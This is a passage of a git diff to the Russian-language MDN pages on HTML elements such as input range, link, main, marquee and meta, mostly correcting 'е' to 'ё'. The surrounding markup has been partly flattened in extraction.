        Спецификация HTML даёт браузерам некоторую гибкость при представлении диапазонных контроллеров. Нигде эта гибкость не проявляется больше, чем в области хэш-меток и, в меньшей степени, лейблов. Спецификация описывает как добавлять кастомные точки контроллера диапазона, используя атрибут {{htmlattrxref("list", "input")}} и элемент {{HTMLElement("datalist")}}, но не имеет требований или рекомендаций по стандартизации хэш-меток и лейблов по длине контроллера.

        Макеты контроллера диапазона

        -

        Так как браузеры имеют эту гибкость, и на сегодняшний день ни один из них не поддерживает все возможности, определенные HTML, представляем несколько макетов, показывающих как вы можете получить на macOS в браузере, который их поддерживает.

        +

        Так как браузеры имеют эту гибкость, и на сегодняшний день ни один из них не поддерживает все возможности, определённые HTML, представляем несколько макетов, показывающих как вы можете получить на macOS в браузере, который их поддерживает.

        Недекорированный контроллер диапазона
        @@ -327,7 +327,7 @@ translation_of: Web/HTML/Element/input/range

        HTML

        -

        В HTML нужно добавить обертку вокруг {{HTMLElement("input")}}  - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):

        +

        В HTML нужно добавить обёртку вокруг {{HTMLElement("input")}}  - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):

        <div class="slider-wrapper">
           <input type="range" min="0" max="11" value="7" step="1">
        @@ -335,7 +335,7 @@ translation_of: Web/HTML/Element/input/range
         
         

        CSS

        -

        Теперь нам нужно немного CSS. Во-первых, это CSS для самой обертки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повернутый слайдер в зарезервированном пространстве, не создавая беспорядка.

        +

        Теперь нам нужно немного CSS. Во-первых, это CSS для самой обёртки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повёрнутый слайдер в зарезервированном пространстве, не создавая беспорядка.

        .slider-wrapper {
           display: inline-block;
        @@ -372,7 +372,7 @@ translation_of: Web/HTML/Element/input/range
         
         

        CSS

        -

        Берем только те инпуты что имеют тип range:

        +

        Берём только те инпуты что имеют тип range:

        input[type="range"] {
           -webkit-appearance: slider-vertical;
        @@ -406,7 +406,7 @@ translation_of: Web/HTML/Element/input/range
         
         

        CSS

        -

        Берем только те инпуты что имеют тип range, меняем writing mode с default на bt-lr, или bottom-to-top и left-to-right:

        +

        Берём только те инпуты что имеют тип range, меняем writing mode с default на bt-lr, или bottom-to-top и left-to-right:

        input[type="range"] {
           writing-mode: bt-lr;
        @@ -416,7 +416,7 @@ translation_of: Web/HTML/Element/input/range
         
         

        Все вместе

        -

        Каждый из вышеперечисленных примеров работает в своем браузере, мы попробуем объединить все вместе чтоб добиться кроссбраузерности решения:

        +

        Каждый из вышеперечисленных примеров работает в своём браузере, мы попробуем объединить все вместе чтоб добиться кроссбраузерности решения:

        HTML

        @@ -427,7 +427,7 @@ translation_of: Web/HTML/Element/input/range

        CSS

        -

        Берем только те инпуты что имеют тип range, меняем writing mode с default на bt-lr, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем -webkit-appearance: slider-vertical для всех -webkit-based браузеров:

        +

        Берём только те инпуты что имеют тип range, меняем writing mode с default на bt-lr, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем -webkit-appearance: slider-vertical для всех -webkit-based браузеров:

        input[type="range"] {
           writing-mode: bt-lr;
        diff --git a/files/ru/web/html/element/input/search/index.html b/files/ru/web/html/element/input/search/index.html
        index a4307a573b..e870f86c85 100644
        --- a/files/ru/web/html/element/input/search/index.html
        +++ b/files/ru/web/html/element/input/search/index.html
        @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/search
         ---
         
        {{HTMLRef}}
        -

        {{HTMLElement("input")}} элементы с типом search это текстовые поля разработанные для ввода пользователем поисковых запросов. Функциональность идентична элементам с типом text, но может отличаться стилизация за счет {{Glossary("user agent")}}, а также наличием специального не стандартизированного события {{domxref("HTMLElement/search_event", "onsearch")}}.

        +

        {{HTMLElement("input")}} элементы с типом search это текстовые поля разработанные для ввода пользователем поисковых запросов. Функциональность идентична элементам с типом text, но может отличаться стилизация за счёт {{Glossary("user agent")}}, а также наличием специального не стандартизированного события {{domxref("HTMLElement/search_event", "onsearch")}}.

        {{EmbedInteractiveExample("pages/tabbed/input-search.html", "tabbed-standard")}}
        diff --git a/files/ru/web/html/element/input/tel/index.html b/files/ru/web/html/element/input/tel/index.html index fca5203560..35f2014606 100644 --- a/files/ru/web/html/element/input/tel/index.html +++ b/files/ru/web/html/element/input/tel/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/tel ---
        {{HTMLRef}}
        -

        {{HTMLElement("input")}} элемент типа tel используется чтобы разрешить пользователю вводить и редактировать номер телефона. В отличии от<input type="email"> и <input type="url"> , введенное значение не проверяется автоматически по определенном формату, перед тем как форма может быть отправлена , потому что форматы телефонных номеров сильно различаются по всему миру

        +

        {{HTMLElement("input")}} элемент типа tel используется чтобы разрешить пользователю вводить и редактировать номер телефона. В отличии от<input type="email"> и <input type="url"> , введённое значение не проверяется автоматически по определённом формату, перед тем как форма может быть отправлена , потому что форматы телефонных номеров сильно различаются по всему миру

        {{EmbedInteractiveExample("pages/tabbed/input-tel.html", "tabbed-standard")}}
        diff --git a/files/ru/web/html/element/ins/index.html b/files/ru/web/html/element/ins/index.html index 5378c50a55..7115a36be4 100644 --- a/files/ru/web/html/element/ins/index.html +++ b/files/ru/web/html/element/ins/index.html @@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/ins
        - + - + diff --git a/files/ru/web/html/element/label/index.html b/files/ru/web/html/element/label/index.html index b8faa5aa7e..2984769302 100644 --- a/files/ru/web/html/element/label/index.html +++ b/files/ru/web/html/element/label/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/label - + @@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/label - + - + @@ -53,7 +53,7 @@ translation_of: Web/HTML/Element/label
        {{htmlattrdef("form")}} {{HTMLVersionInline("5")}} {{obsolete_inline}}
        Элемент формы, с которым связан label (его владелец формы). Если указано, значением атрибута является идентификатор элемента {{HTMLElement ("form")}} в том же документе. Это позволяет размещать элементы label в любом месте документа, а не только как потомки их элементов формы.. -
        Этот атрибут содержимого был удален из спецификации HTML 28 апреля 2016 г. Однако сценарии по-прежнему имеют доступ только для чтения {{domxref ("HTMLLabelElement.form")}}; он возвращает форму, членом которой является связанный элемент управления label, или значение NULL, если label не связана с элементом управления или элемент управления не является частью формы.
        +
        Этот атрибут содержимого был удалён из спецификации HTML 28 апреля 2016 г. Однако сценарии по-прежнему имеют доступ только для чтения {{domxref ("HTMLLabelElement.form")}}; он возвращает форму, членом которой является связанный элемент управления label, или значение NULL, если label не связана с элементом управления или элемент управления не является частью формы.
        diff --git a/files/ru/web/html/element/li/index.html b/files/ru/web/html/element/li/index.html index a87ea6a2b0..115c0c9a4e 100644 --- a/files/ru/web/html/element/li/index.html +++ b/files/ru/web/html/element/li/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTML/Element/li ---
        {{HTMLRef}}
        -

        HTML-элемент <li> используется для создания элементов списка. Он также должен находиться в родительском элементе: упорядоченном списке ({{HTMLElement("ol")}}), неупорядоченном списке ({{HTMLElement("ul")}}), или меню ({{HTMLElement("menu")}}). В меню и неупорядоченных списках, элементы списка обычно отображаются с маркерами в виде круга. В упорядоченных списках, они обычно отображаются с маркерами в виде возрастающего счетчика слева, например числа или буквы.

        +

        HTML-элемент <li> используется для создания элементов списка. Он также должен находиться в родительском элементе: упорядоченном списке ({{HTMLElement("ol")}}), неупорядоченном списке ({{HTMLElement("ul")}}), или меню ({{HTMLElement("menu")}}). В меню и неупорядоченных списках, элементы списка обычно отображаются с маркерами в виде круга. В упорядоченных списках, они обычно отображаются с маркерами в виде возрастающего счётчика слева, например числа или буквы.

        {{EmbedInteractiveExample("pages/tabbed/li.html", "tabbed-shorter")}}
        @@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/li
        {{htmlattrdef("value")}}
        -
        Этот числовой атрибут указывает на текущий порядковый номер элемента в списке, заданного с помощью элемента {{HTMLElement("ol")}}. Единственное разрешенное значение этого атрибута — число, даже если список отображается с римскими цифрами или буквами. Элементы списка, которые идут после элемента с таким атрибутом, нумеруются с заданного значения. Атрибут value не имеет значения для неупорядоченных списков ({{HTMLElement("ul")}}) или для меню ({{HTMLElement("menu")}}). +
        Этот числовой атрибут указывает на текущий порядковый номер элемента в списке, заданного с помощью элемента {{HTMLElement("ol")}}. Единственное разрешённое значение этого атрибута — число, даже если список отображается с римскими цифрами или буквами. Элементы списка, которые идут после элемента с таким атрибутом, нумеруются с заданного значения. Атрибут value не имеет значения для неупорядоченных списков ({{HTMLElement("ul")}}) или для меню ({{HTMLElement("menu")}}).
        Примечание: Этот атрибут был убран в HTML4, но заново добавлен в HTML5.
        @@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/li

        Поддержка браузерами

        - +

        {{Compat("html.elements.li")}}

        diff --git a/files/ru/web/html/element/link/index.html b/files/ru/web/html/element/link/index.html index 2ae2f1f1df..82be65b592 100644 --- a/files/ru/web/html/element/link/index.html +++ b/files/ru/web/html/element/link/index.html @@ -23,7 +23,7 @@ original_slug: Web/HTML/Element/ссылка

        В этом простом примере указывается путь к таблице стилей внутри атрибута href и атрибут rel со значением stylesheet. rel означает "отношения (relationship)", и, вероятно, является одной из ключевых особенностей элемента <link>  — значение сообщает как указанный элемент связан с  содержащим его документом. Как вы увидите в нашем справочнике типы ссылок, есть много различных видов отношений.

        -

        Существует ряд других распространенных типов, с которыми вы столкнетесь. Например, ссылка на сайт иконок:

        +

        Существует ряд других распространённых типов, с которыми вы столкнётесь. Например, ссылка на сайт иконок:

        <link rel="icon" href="favicon.ico">
        @@ -44,7 +44,7 @@ original_slug: Web/HTML/Element/ссылка
        <link rel="preload" href="myFont.woff2" as="font"
               type="font/woff2" crossorigin="anonymous">
        -

        Значение rel - preload указывает, что браузер должен предварительно загрузить этот ресурс (смотрите Предварительная загрузка контента при помощи rel="preload" для более подробной информации), атрибут as указывает на определенный класс загружаемого контента. Атрибут crossorigin указывает должен ли ресурс загружаться с помощью запроса  {{Glossary("CORS")}}.

        +

        Значение rel - preload указывает, что браузер должен предварительно загрузить этот ресурс (смотрите Предварительная загрузка контента при помощи rel="preload" для более подробной информации), атрибут as указывает на определённый класс загружаемого контента. Атрибут crossorigin указывает должен ли ресурс загружаться с помощью запроса  {{Glossary("CORS")}}.

        Другие замечания по использованию:

        @@ -67,9 +67,9 @@ original_slug: Web/HTML/Element/ссылка
        Этот перечисляемый атрибут указывает, должен ли {{Glossary("CORS")}} использоваться при загрузки ресурса. CORS-поддерживаемые изображения могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не искажая их. Допустимы значения:
        anonymous
        -
        Cross-origin запрос (т.е. с HTTP-заголовком {{HTTPHeader("Origin")}}) выполняется, но учетные данные не отправляются (т.е. нет cookie, сертификата X.509, или базовой аутентификации HTTP). Если сервер не передал учетные данные исходному сайту (нет настроенного HTTP-заголовка {{HTTPHeader("Access-Control-Allow-Origin")}}),  изображение будет искажено, а его использование ограничено.
        +
        Cross-origin запрос (т.е. с HTTP-заголовком {{HTTPHeader("Origin")}}) выполняется, но учётные данные не отправляются (т.е. нет cookie, сертификата X.509, или базовой аутентификации HTTP). Если сервер не передал учётные данные исходному сайту (нет настроенного HTTP-заголовка {{HTTPHeader("Access-Control-Allow-Origin")}}),  изображение будет искажено, а его использование ограничено.
        use-credentials
        -
        Cross-origin запрос (т.е. с HTTP-заголовком Origin) выполняется вместе с отправкой учетных данных (т.е. выполняется аутентификация cookie, сертификата, и/или базового HTTP). Если сервер не передал учетные данные исходному сайту (через HTTP-заголовок {{HTTPHeader("Access-Control-Allow-Credentials")}}), ресурс будет искажен, а его использование ограничено.
        +
        Cross-origin запрос (т.е. с HTTP-заголовком Origin) выполняется вместе с отправкой учетных данных (т.е. выполняется аутентификация cookie, сертификата, и/или базового HTTP). Если сервер не передал учётные данные исходному сайту (через HTTP-заголовок {{HTTPHeader("Access-Control-Allow-Credentials")}}), ресурс будет искажён, а его использование ограничено.
        Если атрибут отсутствует, ресурс загружается без запроса {{Glossary("CORS")}} (т.е. без отправки HTTP-заголовка Origin), предотвращая его незагрязненное использование. В случае невалидности, он обрабатывается как при использовании ключевого слова anonymous. Для получения дополнительной информации смотрите  CORS settings attributes.
        {{HTMLAttrDef("href")}}
        @@ -97,8 +97,8 @@ original_slug: Web/HTML/Element/ссылка

        Примечания:

          -
        • В HTML 4, это может быть только простой, разделенный пробелами, список литералов, описывающих медиа, т.е.  media типы и группы, которые определены и допустимы в качестве значений для этого атрибута, такие как print, screen, aural, braille. HTML5 распространил это на любые медиавыражения, которые являются расширенным набором допустимых значений HTML 4.
        • -
        • Браузеры, не поддерживающие CSS3 Media Queries, могут не распознать соответствующую ссылку; не забудьте установить резервные ссылки, ограниченные набором медиавыражений, определенным в HTML 4.
        • +
        • В HTML 4, это может быть только простой, разделённый пробелами, список литералов, описывающих медиа, т.е.  media типы и группы, которые определены и допустимы в качестве значений для этого атрибута, такие как print, screen, aural, braille. HTML5 распространил это на любые медиавыражения, которые являются расширенным набором допустимых значений HTML 4.
        • +
        • Браузеры, не поддерживающие CSS3 Media Queries, могут не распознать соответствующую ссылку; не забудьте установить резервные ссылки, ограниченные набором медиавыражений, определённым в HTML 4.
        @@ -109,11 +109,11 @@ original_slug: Web/HTML/Element/ссылка
      • no-referrer-when-downgrade означает, что заголовок {{HTTPHeader("Referer")}} не будет отправлен при переходе к источнику без TLS (HTTPS). Это поведение пользовательского агента по умолчанию, если не указано иное.
      • origin означает, что реферером будет источник, который соответствует схеме, хосту и порту.
      • origin-when-cross-origin означает, что навигация к другим источникам будет ограничена схемой, хостом, портом, в то время как навигация по одному и тому же источнику будет включать путь реферер .
      • -
      • unsafe-url означает, что в качестве источника ссылки будет указываться источник и путь (но не фрагмент, пароль или имя пользователя). Этот вариант небезопасен, потому что он может способствовать утечки источников и путей из TLS-защищенных ресурсов в незащищенные источники.
      • +
      • unsafe-url означает, что в качестве источника ссылки будет указываться источник и путь (но не фрагмент, пароль или имя пользователя). Этот вариант небезопасен, потому что он может способствовать утечки источников и путей из TLS-защищённых ресурсов в незащищённые источники.
      • {{HTMLAttrDef("rel")}}
        -
        Этот атрибут определяет отношения связываемого документа и текущего документа. Атрибут должен быть разделенным пробелами списком значений типов ссылки.
        +
        Этот атрибут определяет отношения связываемого документа и текущего документа. Атрибут должен быть разделённым пробелами списком значений типов ссылки.
        {{HTMLAttrDef("sizes")}}
        Этот атрибут определяет размеры иконки для визуальных медиа, содержащихся в ресурсе. Он должен быть представлен только, если {{HTMLAttrxRef("rel", "link")}} содержит значение icon или нестандартный тип, например apple-touch-icon Apple. Может иметь следующие значения:
          @@ -152,7 +152,7 @@ original_slug: Web/HTML/Element/ссылка
          {{HTMLAttrDef("charset")}} {{Obsolete_Inline}}
          -
          Этот атрибут определяет кодировку символов связываемого ресурса. Значение представляет собой список наборов символов, разделенный пробелами и/или запятыми, как определено в  {{rfc(2045)}}. Значение по умолчанию iso-8859-1. +
          Этот атрибут определяет кодировку символов связываемого ресурса. Значение представляет собой список наборов символов, разделённый пробелами и/или запятыми, как определено в  {{rfc(2045)}}. Значение по умолчанию iso-8859-1.
          Примечание по использованию: Для получения эффекта использования данного устаревшего атрибута, используйте HTTP-заголовок {{HTTPHeader("Content-Type")}} на связываемый ресурс.
          {{HTMLAttrDef("rev")}} {{Obsolete_Inline}}
          @@ -160,7 +160,7 @@ original_slug: Web/HTML/Element/ссылка

          Значение этого атрибута показывает отношение текущего документа к связываемому документу, как определено атрибутом {{HTMLAttrxRef("href", "link")}}. Этот атрибут, таким образом, определяет обратную связь по сравнению со значением атрибута rel. Значения типов ссылки для атрибута аналогичны возможным значениям для   {{HTMLAttrxRef("rel", "link")}}.

          -

          Примечание: Этот атрибут считается устаревшим жизненным стандартом WHATWG HTML (который является каноничной спецификацией MDN). Однако, стоит отметить, что rev не считается устаревшим в спецификации W3C. Стоит сказать, учитывая неопределенность, полагаться на rev не стоит.

          +

          Примечание: Этот атрибут считается устаревшим жизненным стандартом WHATWG HTML (который является каноничной спецификацией MDN). Однако, стоит отметить, что rev не считается устаревшим в спецификации W3C. Стоит сказать, учитывая неопределённость, полагаться на rev не стоит.

        @@ -187,7 +187,7 @@ original_slug: Web/HTML/Element/ссылка

        Вы можете указать альтернативные таблицы стилей.

        -

        Пользователь может выбрать, какую таблицу стилей использовать, выбрав ее в меню  Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.

        +

        Пользователь может выбрать, какую таблицу стилей использовать, выбрав её в меню  Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.

        <link href="default.css" rel="stylesheet" title="Default Style">
         <link href="fancy.css" rel="alternate stylesheet" title="Fancy">
        @@ -255,7 +255,7 @@ myStylesheet.onerror = function() {
            
        - + @@ -263,11 +263,11 @@ myStylesheet.onerror = function() { - + - + diff --git a/files/ru/web/html/element/main/index.html b/files/ru/web/html/element/main/index.html index e3b64bf33d..52754d8c16 100644 --- a/files/ru/web/html/element/main/index.html +++ b/files/ru/web/html/element/main/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTML/Element/main ---
        {{HTMLRef}}
        -

        HTML-элемент <main> предназначен для основного контента (содержимого) {{HTMLElement("body")}} документа (страницы). Основной контент состоит из контента, который непосредственно относится к главной теме документа или ее развивает.

        +

        HTML-элемент <main> предназначен для основного контента (содержимого) {{HTMLElement("body")}} документа (страницы). Основной контент состоит из контента, который непосредственно относится к главной теме документа или её развивает.

        {{EmbedInteractiveExample("pages/tabbed/main.html","tabbed-shorter")}}
        @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/main - + @@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/main - + - + @@ -70,14 +70,14 @@ translation_of: Web/HTML/Element/main <article> <h2>Сорт "Ред Делишес"</h2> - <p>Эти ярко-красные яблоки являются одними из самых популярных в Соединенных Штатах.</p> + <p>Эти ярко-красные яблоки являются одними из самых популярных в Соединённых Штатах.</p> <p>... </p> <p>... </p> </article> <article> <h2>Сорт "Гренни Смит";/h2> - <p>Эти сочные, зеленые яблоки являются одними из самых популярных в мире.</p> + <p>Эти сочные, зелёные яблоки являются одними из самых популярных в мире.</p> <p>... </p> <p>... </p> </article> @@ -93,7 +93,7 @@ translation_of: Web/HTML/Element/main

        Ориентир

        -

        Элемент <main> ведет себя как роль-ориентир main. Ориентиры могут использоваться вспомогательными технологиями для быстрой идентификации и навигации по большим разделам документа. Предпочтительно использовать элемент <main> вместо объявления role="main", если не нужна поддержка старых браузеров.

        +

        Элемент <main> ведёт себя как роль-ориентир main. Ориентиры могут использоваться вспомогательными технологиями для быстрой идентификации и навигации по большим разделам документа. Предпочтительно использовать элемент <main> вместо объявления role="main", если не нужна поддержка старых браузеров.

        Пропуск навигации

        diff --git a/files/ru/web/html/element/map/index.html b/files/ru/web/html/element/map/index.html index 751a526d64..502f0414ba 100644 --- a/files/ru/web/html/element/map/index.html +++ b/files/ru/web/html/element/map/index.html @@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/map - + @@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/map - + - + @@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/map
        {{htmlattrdef("name")}}
        -
        Атрибут name дает карте имя, чтобы на нее можно было ссылаться. Атрибут должен быть определен и иметь не пустое значение без пробелов. Значение атрибута name не должно совпадать с регистром совместимости со значением атрибута name другого элемента карты в том же документе. Если также указан атрибут id, то они оба должны иметь одинаковое значение.
        +
        Атрибут name даёт карте имя, чтобы на неё можно было ссылаться. Атрибут должен быть определён и иметь не пустое значение без пробелов. Значение атрибута name не должно совпадать с регистром совместимости со значением атрибута name другого элемента карты в том же документе. Если также указан атрибут id, то они оба должны иметь одинаковое значение.

        Пример

        diff --git a/files/ru/web/html/element/mark/index.html b/files/ru/web/html/element/mark/index.html index 4673a4eec8..e281d28bb6 100644 --- a/files/ru/web/html/element/mark/index.html +++ b/files/ru/web/html/element/mark/index.html @@ -3,7 +3,7 @@ title: slug: Web/HTML/Element/mark translation_of: Web/HTML/Element/mark --- -

        HTML элемент <mark> представляет текст, выделенный в справочных целях из-за своей актуальности в определенном контексте. Например, он может быть использован на странице с результатом поиска, в которой выделяется каждый экземпляр искомого слова.

        +

        HTML элемент <mark> представляет текст, выделенный в справочных целях из-за своей актуальности в определённом контексте. Например, он может быть использован на странице с результатом поиска, в которой выделяется каждый экземпляр искомого слова.

        Разрешенное содержимоеРазрешённое содержимое Нету, это пустой элемент.
        Обязательно должен быть открывающийся тег, и обязательно отсутствует закрывающий.
        Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, которому доступен фразообразующий контент (phrasing content).
        {{anch("list")}}id элемента <datalist>, который содержит предопределенные значение (не обязательно)id элемента <datalist>, который содержит предопределённые значение (не обязательно)
        {{anch("max")}} {{no_tag_omission}}
        Разрешенные родителиРазрешённые родители Любой элемент, который принимает содержимое фраз.
        Разрешенные ARIA ролиРазрешённые ARIA роли Любые
        Общий поток, текстовый контент, интерактивный контент, элемент формы, ощутимый контент.
        Разрешенный контентРазрешённый контент Текстовый контент, но без вложенных элементов label. Недопустимы другие оборачиваемые в label элементы помимо целевого.
        {{no_tag_omission}}
        Разрешенные предкиРазрешённые предки Любой элемент, разрешающий текстовый контент.
        Разрешенные ARIA ролиРазрешённые ARIA роли Отсутствуют
        Контент метаданных. Если есть itemprop: потоковый контент и фразовый контент.
        Разрешенный контентРазрешённый контент Нет, это {{Glossary("empty element")}}.
        Так как это пустой элемент, присутствовать должен начальный тэг, конечный - отсутствует.
        Разрешенные родителиРазрешённые родители Любой элемент, принимающий элементы метаданных. Если есть itemprop: любой элемент, принимающий фразовый контент.
        Разрешенные ARIA ролиРазрешённые ARIA роли Нет
        Основной поток, явный контент.
        Разрешенное содержимоеРазрешённое содержимое Основной поток.
        Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
        Разрешенные родительские элементыРазрешённые родительские элементы Те, в которых разрешается контент основного потока в качестве содержимого, но только если это иерархически корректный main элемент.
        Разрешенные ARIA ролиРазрешённые ARIA роли Роль main применяется к <main> по умолчанию, и роль presentation также разрешена.
        Потоковый контент, фразовый контент, явный контент.
        Разрешенный контентРазрешённый контент Любой прозрачный элемент.
        {{no_tag_omission}}
        Разрешенные родителиРазрешённые родители Любые элементы, которые принимают фразовый контент.
        Разрешенные ARIA ролиРазрешённые ARIA роли Нет
        @@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/mark - + @@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/mark - + - + diff --git a/files/ru/web/html/element/marquee/index.html b/files/ru/web/html/element/marquee/index.html index 8caafd13f3..3faaccd160 100644 --- a/files/ru/web/html/element/marquee/index.html +++ b/files/ru/web/html/element/marquee/index.html @@ -18,23 +18,23 @@ translation_of: Web/HTML/Element/marquee
        {{htmlattrdef("behavior")}}
        Описывает поведение прокрутки. Допустимые значения: scroll, slide и alternate. Если значение не указано, то используется scroll.
        {{htmlattrdef("bgcolor")}}
        -
        Задает цвет фона (можно использовать имя цвета или шестнадцатеричное значение).
        +
        Задаёт цвет фона (можно использовать имя цвета или шестнадцатеричное значение).
        {{htmlattrdef("direction")}}
        -
        Задает направление прокрутки. Допустимые значения: left, right, up и down. Если значение не указано, то используется left.
        +
        Задаёт направление прокрутки. Допустимые значения: left, right, up и down. Если значение не указано, то используется left.
        {{htmlattrdef("height")}}
        Задаёт высоту в пикселях или процентах.
        {{htmlattrdef("hspace")}}
        -
        Задает поле (margin) слева.
        +
        Задаёт поле (margin) слева.
        {{htmlattrdef("loop")}}
        Задаёт количество прокруток. Если значение не указано, то используется -1, что означает бесконечную прокрутку
        {{htmlattrdef("scrollamount")}}
        -
        Задает сдвиг на каждом шаге в пикселях. По умолчанию 6.
        +
        Задаёт сдвиг на каждом шаге в пикселях. По умолчанию 6.
        {{htmlattrdef("scrolldelay")}}
        -
        Задает интервал между каждым шагом в миллисекундах. По умолчанию 85. Обратите внимание, что значения меньше 60 будут проигнорированы и будет использовано 60, если не присутствует атрибут truespeed.
        +
        Задаёт интервал между каждым шагом в миллисекундах. По умолчанию 85. Обратите внимание, что значения меньше 60 будут проигнорированы и будет использовано 60, если не присутствует атрибут truespeed.
        {{htmlattrdef("truespeed")}}
        По умолчанию значения меньше 60 в scrolldelay игнорируются. Однако, если присутствует truespeed, то они не игнорируются
        {{htmlattrdef("vspace")}}
        -
        Задает вертикальный отступ (margin) в пикселях или процентах.
        +
        Задаёт вертикальный отступ (margin) в пикселях или процентах.
        {{htmlattrdef("width")}}
        Задаёт ширину в пикселях или процентах.
        diff --git a/files/ru/web/html/element/menu/index.html b/files/ru/web/html/element/menu/index.html index 1651378eda..7d0b236c41 100644 --- a/files/ru/web/html/element/menu/index.html +++ b/files/ru/web/html/element/menu/index.html @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/menu - + - + @@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/menu - + diff --git a/files/ru/web/html/element/meta/index.html b/files/ru/web/html/element/meta/index.html index 4ce26b0214..86f9522953 100644 --- a/files/ru/web/html/element/meta/index.html +++ b/files/ru/web/html/element/meta/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/meta - + @@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/meta - + - + @@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/meta
        {{htmlattrdef("charset")}}
        -
        Этот атрибут задает кодировку символов, используемую на странице. Он должен содержать стандартное имя IANA MIME для кодировки символов. Хотя стандарт не требует определенной кодировки, он рекомендует: +
        Этот атрибут задаёт кодировку символов, используемую на странице. Он должен содержать стандартное имя IANA MIME для кодировки символов. Хотя стандарт не требует определённой кодировки, он рекомендует:
        • Авторам рекомендуется использовать {{glossary("UTF-8")}}.
        • Не следует использовать ASCII-несовместимые кодировки, чтобы избежать угроз безопасности: браузеры, не поддерживающие их, могут интерпретировать вредоносный контент как HTML. Это относится к семейству кодировок JIS_C6226-1983, JIS_X0212-1990, HZ-GB-2312, JOHAB и EBCDIC.
        • @@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/meta
        • Этот <meta> элемент - часть алгоритма, определяющего набор символов (algorithm to determine the character set) страницы, который браузер поддерживает. Заголовок {{HTTPHeader("Content-Type")}} и любые {{Glossary("Byte-Order Mark","Byte-Order Marks")}} элементы переопределяют данный элемент.
        • Настоятельно рекомендуется определить кодировку символов. Если для страницы не определён набор символов, то некоторые cross-scripting технологии могут повредить страницу, например такие как UTF-7 fallback cross-scripting technique. Постоянная установка этого элемента будет защищать Вас от этого риска.
        • Этот {{HTMLElement("meta")}} элемент это синоним для pre-HTML5 <meta http-equiv="Content-Type" content="text/html; charset=IANAcharset"> где IANAcharset соответствует значению эквивалентного {{htmlattrxref("charset", "meta")}} атрибута.
          - Этот синтаксис по-прежнему разрешен, хотя и устарел и больше не рекомендуется.
        • + Этот синтаксис по-прежнему разрешён, хотя и устарел и больше не рекомендуется.
        @@ -129,8 +129,8 @@ translation_of: Web/HTML/Element/meta
      • автор определяет в свободном формате имя автора документа;
      • описание, содержащее краткое и точное резюме содержания страницы. В некоторых браузерах, среди которых Firefox и Opera, этот мета используется как описание страницы по умолчанию в закладке;
      • генератор, содержащий в свободном формате идентификатор программного обеспечения, создавшего страницу;;
      • -
      • Ключевые слова, представленные строками, разделенными запятыми, связанные с содержанием страницы
      • -
      • referrer {{experimental_inline}} контролирует содержимое HTTP. Referer HTTP - заголовок, прикрепленный к любому запросу, отправленному из этого документа: +
      • Ключевые слова, представленные строками, разделёнными запятыми, связанные с содержанием страницы
      • +
      • referrer {{experimental_inline}} контролирует содержимое HTTP. Referer HTTP - заголовок, прикреплённый к любому запросу, отправленному из этого документа:
      • Содержимое потока, содержимое фраз, ощутимое содержимое.
        Разрешенное содержимоеРазрешённое содержимое Содержимое фраз.
        {{no_tag_omission}}
        Разрешенные родителиРазрешённые родители Любой элемент, который принимает содержимое фраз.
        Разрешенные роли ARIAРазрешённые роли ARIA Любые
        Разрешенное содержимоеРазрешённое содержимое

        If the element is in the list menu state: flow content, or alternatively, zero or more occurrences of {{HTMLElement("li")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}. (list menu is the default state, unless the parent element is a {{HTMLElement("menu")}} in the context menu state.)

        @@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/menu
        {{No_Tag_Omission}}
        Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который поддерживает основной поток.
        list
        Разрешенные роли ARIAРазрешённые роли ARIA {{ARIARole("directory")}}, {{ARIARole("group")}}, listbox, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("none")}}, {{ARIARole("presentation")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}} или {{ARIARole("tree")}}
        Мета данные. Если задан {{htmlattrxref("itemprop")}} атрибут: flow content, phrasing content.
        Разрешенное содержимоеРазрешённое содержимое Отсутствует - это {{Glossary("empty element","пустой элемент")}}.
        Так как это пустой элемент, то открывающий тег должен присутствовать, а закрывающий - отсутствовать.
        Разрешенные родительские элементыРазрешённые родительские элементы <meta charset>, <meta http-equiv>: {{HTMLElement("head")}} элемент. Если {{htmlattrxref("http-equiv", "meta")}} это не заявленная декларация, то может быть внутри элемента {{HTMLElement("noscript")}} или {{HTMLElement("head")}}.
        Разрешенные роли ARIAРазрешённые роли ARIA Отсутствуют
        @@ -148,11 +148,11 @@ translation_of: Web/HTML/Element/meta - + - +
